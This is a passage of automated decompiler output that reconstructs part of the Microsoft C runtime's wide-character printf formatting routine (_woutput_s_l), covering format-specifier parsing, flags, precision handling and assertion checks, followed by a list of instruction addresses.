																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L64;
																case 3:
																	L63:
																	__edx =  *(__ebp - 0x10);
																	__edx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																	goto L64;
																case 4:
																	goto L64;
															}
														case 7:
															L65:
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
															__ecx =  *(__ebp - 0x4ec);
															__ecx =  *(__ebp - 0x4ec) - 0x41;
															 *(__ebp - 0x4ec) = __ecx;
															__eflags =  *(__ebp - 0x4ec) - 0x37;
															if( *(__ebp - 0x4ec) > 0x37) {
																while(1) {
																	L187:
																	__eflags =  *(_t674 - 0x28);
																	if( *(_t674 - 0x28) != 0) {
																		goto L212;
																	}
																	goto L188;
																}
															}
															L66:
															_t142 =  *(__ebp - 0x4ec) + 0x43ca00; // 0xcccccc0d
															__eax =  *_t142 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043C9C4))) {
																case 0:
																	L120:
																	 *(__ebp - 0x2c) = 1;
																	 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	 *(__ebp - 0x454) = __ax;
																	goto L121;
																case 1:
																	L67:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	goto L69;
																case 2:
																	L82:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L84;
																case 3:
																	L144:
																	 *(__ebp - 0x460) = 7;
																	goto L146;
																case 4:
																	L75:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x474) = E00428310(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x474);
																	if( *(__ebp - 0x474) == 0) {
																		L77:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																		L81:
																		goto L187;
																	}
																	L76:
																	__ecx =  *(__ebp - 0x474);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L81;
																	}
																	goto L77;
																case 5:
																	L121:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L123:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L128:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B870( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__edx =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__edx =  *(__ebp + 0x14);
																			__eax =  *(__edx - 8);
																			__ecx =  *(__edx - 4);
																			 *(__ebp - 0x490) =  *(__edx - 8);
																			 *(__ebp - 0x48c) =  *(__edx - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AE00(__ebp - 0x40));
																			__edx =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__eax =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__ecx =  *(__ebp - 0x454);
																			_push( *(__ebp - 0x454));
																			__edx =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__eax =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__ecx = __ebp - 0x490;
																			_push(__ebp - 0x490);
																			__edx =  *0x440374; // 0xf9b80f80
																			E00424670(__edx) =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE00(__ebp - 0x40));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx =  *0x440380; // 0xfe6faf80
																					E00424670(__edx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE00(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x44037c; // 0xfe6d6f80
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *(__ebp - 4);
																			__edx =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__ecx =  *(__ebp - 4);
																				__ecx =  *(__ebp - 4) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 4) = __ecx;
																			}
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																			do {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			} while ( *(__ebp - 0x4ec) > 0x37);
																			goto L66;
																		}
																		L124:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																			goto L126;
																		}
																		L125:
																		 *(__ebp - 0x30) = 1;
																		goto L128;
																	}
																	L122:
																	 *(__ebp - 0x30) = 6;
																	goto L128;
																case 6:
																	L69:
																	 *(__ebp - 0xc) = 1;
																	__ebp + 0x14 = E00428310(__ebp + 0x14);
																	 *(__ebp - 0x458) = __ax;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		 *(__ebp - 0x448) =  *(__ebp - 0x458);
																	} else {
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x470) = __dl;
																		 *((char*)(__ebp - 0x46f)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AE00(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E0041AE00(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x470;
																		__eax = __ebp - 0x448;
																		__eax = E0043B540(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
																		if(__eax < 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x24) = 1;
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																case 7:
																	L141:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L150:
																	__eflags =  *(_t674 - 0x10) & 0x00008000;
																	if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																		_t623 =  *(_t674 - 0x10) & 0x00001000;
																		__eflags = _t623;
																		if(_t623 == 0) {
																			__eflags =  *(_t674 - 0x10) & 0x00000020;
																			if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																				_t625 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t625;
																				if(_t625 == 0) {
																					_t483 = E00428310(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					__eflags = 0;
																					 *(_t674 - 0x4a0) = _t483;
																					 *(_t674 - 0x49c) = 0;
																				} else {
																					_t556 = E00428310(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t556;
																					 *(_t674 - 0x49c) = _t625;
																				}
																			} else {
																				_t671 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t671;
																				if(_t671 == 0) {
																					_t557 = E00428310(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																					 *(_t674 - 0x49c) = _t671;
																				} else {
																					_t560 = E00428310(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t560;
																					 *(_t674 - 0x49c) = _t671;
																				}
																			}
																		} else {
																			_t563 = E00428330(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t563;
																			 *(_t674 - 0x49c) = _t623;
																		}
																	} else {
																		_t564 = E00428330(_t674 + 0x14);
																		_t676 = _t676 + 4;
																		 *(_t674 - 0x4a0) = _t564;
																		 *(_t674 - 0x49c) = _t621;
																	}
																	__eflags =  *(_t674 - 0x10) & 0x00000040;
																	if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																		goto L167;
																	}
																case 8:
																	L106:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x484) = E00428310(__ebp + 0x14);
																	__eax = E00433EC0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L116:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__ecx =  *(__ebp - 0x484);
																			__edx =  *(__ebp - 0x44c);
																			 *__ecx =  *(__ebp - 0x44c);
																		} else {
																			__edx =  *(__ebp - 0x484);
																			__ax =  *(__ebp - 0x44c);
																			 *( *(__ebp - 0x484)) = __ax;
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L107:
																	__ecx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x4f4) = 0;
																	} else {
																		 *(__ebp - 0x4f4) = 1;
																	}
																	__edx =  *(__ebp - 0x4f4);
																	 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E330();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) != 0) {
																		L115:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	} else {
																		L114:
																		 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
																		__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x4cc) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041ADD0(__ecx);
																		__eax =  *(__ebp - 0x4cc);
																		goto L225;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L143:
																	 *(__ebp - 0x30) = 8;
																	goto L144;
																case 0xb:
																	L84:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x4f0) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x4f0);
																	 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00428310(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		L98:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__ecx =  *0x440f84; // 0x404468
																			 *(__ebp - 4) = __ecx;
																		}
																		 *(__ebp - 0xc) = 1;
																		__edx =  *(__ebp - 4);
																		 *(__ebp - 0x480) =  *(__ebp - 4);
																		while(1) {
																			L101:
																			__eax =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c) - 1;
																			 *(__ebp - 0x47c) = __ecx;
																			__eflags =  *(__ebp - 0x47c);
																			if( *(__ebp - 0x47c) == 0) {
																				break;
																			}
																			L102:
																			__edx =  *(__ebp - 0x480);
																			__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L103:
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																		}
																		L104:
																		__edx =  *(__ebp - 0x480);
																		__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																		__eflags = __edx;
																		 *(__ebp - 0x24) = __edx;
																		goto L105;
																	} else {
																		L88:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __eax;
																		}
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x478) = __ecx;
																		 *(__ebp - 0x24) = 0;
																		while(1) {
																			L92:
																			__eax =  *(__ebp - 0x24);
																			__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																			if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																				break;
																			}
																			L93:
																			__ecx =  *(__ebp - 0x478);
																			__edx =  *__ecx;
																			__eflags =  *__ecx;
																			if( *__ecx == 0) {
																				break;
																			}
																			L94:
																			__ecx = __ebp - 0x40;
																			E0041AE00(__ebp - 0x40) =  *(__ebp - 0x478);
																			__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																			__eax = E004311D0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																			__eflags = __eax;
																			if(__eax != 0) {
																				__edx =  *(__ebp - 0x478);
																				__edx =  *(__ebp - 0x478) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x478) = __edx;
																			}
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			__edx =  *(__ebp - 0x24);
																			__edx =  *(__ebp - 0x24) + 1;
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																		}
																		L97:
																		L105:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																case 0xc:
																	L142:
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	while(1) {
																		L150:
																		__eflags =  *(_t674 - 0x10) & 0x00008000;
																		if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																			_t623 =  *(_t674 - 0x10) & 0x00001000;
																			__eflags = _t623;
																			if(_t623 == 0) {
																				__eflags =  *(_t674 - 0x10) & 0x00000020;
																				if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																					_t625 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t625;
																					if(_t625 == 0) {
																						_t483 = E00428310(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						__eflags = 0;
																						 *(_t674 - 0x4a0) = _t483;
																						 *(_t674 - 0x49c) = 0;
																					} else {
																						_t556 = E00428310(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t556;
																						 *(_t674 - 0x49c) = _t625;
																					}
																				} else {
																					_t671 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t671;
																					if(_t671 == 0) {
																						_t557 = E00428310(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																						 *(_t674 - 0x49c) = _t671;
																					} else {
																						_t560 = E00428310(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t560;
																						 *(_t674 - 0x49c) = _t671;
																					}
																				}
																			} else {
																				_t563 = E00428330(_t674 + 0x14);
																				_t676 = _t676 + 4;
																				 *(_t674 - 0x4a0) = _t563;
																				 *(_t674 - 0x49c) = _t623;
																			}
																		} else {
																			_t564 = E00428330(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t564;
																			 *(_t674 - 0x49c) = _t621;
																		}
																		__eflags =  *(_t674 - 0x10) & 0x00000040;
																		if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																		goto L163;
																	}
																case 0xd:
																	L145:
																	 *(__ebp - 0x460) = 0x27;
																	L146:
																	 *((intOrPtr*)(__ebp - 8)) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx = 0x30;
																		 *((short*)(__ebp - 0x14)) = __dx;
																		 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																		__eflags =  *(__ebp - 0x460) + 0x51;
																		 *(__ebp - 0x12) = __ax;
																		 *(__ebp - 0x1c) = 2;
																	}
																	while(1) {
																		L150:
																		__eflags =  *(_t674 - 0x10) & 0x00008000;
																		if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																			_t623 =  *(_t674 - 0x10) & 0x00001000;
																			__eflags = _t623;
																			if(_t623 == 0) {
																				__eflags =  *(_t674 - 0x10) & 0x00000020;
																				if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																					_t625 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t625;
																					if(_t625 == 0) {
																						_t483 = E00428310(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						__eflags = 0;
																						 *(_t674 - 0x4a0) = _t483;
																						 *(_t674 - 0x49c) = 0;
																					} else {
																						_t556 = E00428310(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t556;
																						 *(_t674 - 0x49c) = _t625;
																					}
																				} else {
																					_t671 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t671;
																					if(_t671 == 0) {
																						_t557 = E00428310(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																						 *(_t674 - 0x49c) = _t671;
																					} else {
																						_t560 = E00428310(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t560;
																						 *(_t674 - 0x49c) = _t671;
																					}
																				}
																			} else {
																				_t563 = E00428330(_t674 + 0x14);
																				_t676 = _t676 + 4;
																				 *(_t674 - 0x4a0) = _t563;
																				 *(_t674 - 0x49c) = _t623;
																			}
																		} else {
																			_t564 = E00428330(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t564;
																			 *(_t674 - 0x49c) = _t621;
																		}
																		__eflags =  *(_t674 - 0x10) & 0x00000040;
																		if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																		goto L163;
																	}
																case 0xe:
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
															}
														case 8:
															L24:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) = __ecx;
															goto L27;
														case 9:
															L25:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L27;
														case 0xa:
															L23:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															goto L27;
														case 0xb:
															L22:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L27;
														case 0xc:
															L26:
															__eax =  *(__ebp - 0x10);
															__eax =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __eax;
															 *(__ebp - 0x10) = __eax;
															goto L27;
														case 0xd:
															L27:
															goto L214;
													}
												} else {
													_t642 = 0;
													if(0 == 0) {
														 *(_t674 - 0x4dc) = 0;
													} else {
														 *(_t674 - 0x4dc) = 1;
													}
													 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
													if( *(_t674 - 0x46c) == 0) {
														_push(L"(\"Incorrect format specifier\", 0)");
														_push(0);
														_push(0x460);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t517 = L0041E330();
														_t676 = _t676 + 0x14;
														if(_t517 == 1) {
															asm("int3");
														}
													}
													L14:
													if( *(_t674 - 0x46c) != 0) {
														goto L16;
													} else {
														 *((intOrPtr*)(L00422E20(_t588))) = 0x16;
														E00422BB0(_t565, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
														 *(_t674 - 0x4c8) = 0xffffffff;
														E0041ADD0(_t674 - 0x40);
														_t502 =  *(_t674 - 0x4c8);
														L225:
														return E0042BC70(_t502, _t565,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
													}
												}
											}
											L215:
											__eflags =  *(_t674 - 0x45c);
											if( *(_t674 - 0x45c) == 0) {
												L218:
												 *(_t674 - 0x4f8) = 1;
												L219:
												_t642 =  *(_t674 - 0x4f8);
												 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
												__eflags =  *(_t674 - 0x4bc);
												if( *(_t674 - 0x4bc) == 0) {
													_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
													_push(0);
													_push(0x8f5);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t507 = L0041E330();
													_t676 = _t676 + 0x14;
													__eflags = _t507 - 1;
													if(_t507 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t674 - 0x4bc);
												if( *(_t674 - 0x4bc) != 0) {
													 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
													E0041ADD0(_t674 - 0x40);
													_t502 =  *(_t674 - 0x4d4);
												} else {
													 *((intOrPtr*)(L00422E20(_t580))) = 0x16;
													E00422BB0(_t565, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
													 *(_t674 - 0x4d0) = 0xffffffff;
													E0041ADD0(_t674 - 0x40);
													_t502 =  *(_t674 - 0x4d0);
												}
												goto L225;
											}
											L216:
											__eflags =  *(_t674 - 0x45c) - 7;
											if( *(_t674 - 0x45c) == 7) {
												goto L218;
											}
											L217:
											 *(_t674 - 0x4f8) = 0;
											goto L219;
										}
									}
									L184:
									__eflags =  *(_t674 - 0x24);
									if( *(_t674 - 0x24) == 0) {
										L186:
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
										_t613 =  *(_t674 - 0x24) + 1;
										__eflags = _t613;
										 *(_t674 - 0x24) = _t613;
										goto L187;
									}
									L185:
									__eflags =  *((char*)( *((intOrPtr*)(_t674 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t674 - 4)))) == 0x30) {
										goto L187;
									}
									goto L186;
								}
								L180:
								asm("cdq");
								_t632 =  *(_t674 - 0x4a8);
								 *(_t674 - 0x494) = E00430740(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
								asm("cdq");
								 *(_t674 - 0x4a8) = E004307C0( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
								 *(_t674 - 0x4a4) = _t632;
								__eflags =  *(_t674 - 0x494) - 0x39;
								if( *(_t674 - 0x494) > 0x39) {
									_t636 =  *(_t674 - 0x494) +  *((intOrPtr*)(_t674 - 0x460));
									__eflags = _t636;
									 *(_t674 - 0x494) = _t636;
								}
								 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *(_t674 - 0x494);
								 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								goto L179;
							}
						}
						L165:
						__eflags =  *(_t674 - 0x4a0);
						if( *(_t674 - 0x4a0) >= 0) {
							goto L167;
						}
						goto L166;
						L167:
						 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
						 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
						goto L168;
					}
				}
			}

0x0043c3b4
0x0043c3b4
0x0043c3b4
0x0043c3b4
0x0043c3b4
0x0043c3b4
0x0043c3b4
0x0043c3c4
0x0043c3c6
0x0043c3c9
0x0043c3c9
0x0043c3cf
0x0043c3cf
0x0043c3d2
0x0043c3d2
0x0043c3d5
0x0043c3da
0x0043c3fc
0x0043c3fc
0x0043c402
0x0043c424
0x0043c427
0x0043c46e
0x0043c46e
0x0043c471
0x0043c492
0x0043c497
0x0043c49a
0x0043c49c
0x0043c4a2
0x0043c473
0x0043c477
0x0043c47c
0x0043c47f
0x0043c480
0x0043c486
0x0043c486
0x0043c429
0x0043c42c
0x0043c42c
0x0043c42f
